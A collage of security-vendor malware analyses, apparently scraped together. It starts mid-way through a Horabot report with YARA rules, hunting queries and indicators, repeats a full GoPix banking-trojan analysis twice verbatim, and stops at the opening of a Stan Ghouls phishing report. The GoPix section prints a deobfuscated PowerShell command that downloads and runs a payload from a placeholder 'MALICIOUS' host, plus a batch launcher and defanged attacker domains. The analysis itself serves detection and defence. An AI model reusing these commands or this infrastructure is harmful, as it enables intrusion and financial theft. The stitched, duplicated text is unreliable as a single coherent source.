Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

• Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
